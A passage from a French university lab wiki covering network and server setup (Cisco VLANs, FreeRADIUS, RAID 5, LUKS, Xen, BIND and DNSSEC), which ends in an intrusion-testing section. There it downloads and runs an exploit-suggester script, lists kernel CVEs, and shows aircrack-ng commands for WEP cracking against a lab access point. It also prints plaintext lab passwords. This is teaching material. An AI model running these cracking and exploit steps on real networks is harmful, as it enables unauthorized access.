 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57838</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57838"/>
				<updated>2022-01-11T14:39:07Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Serveur SSH */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre VM avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
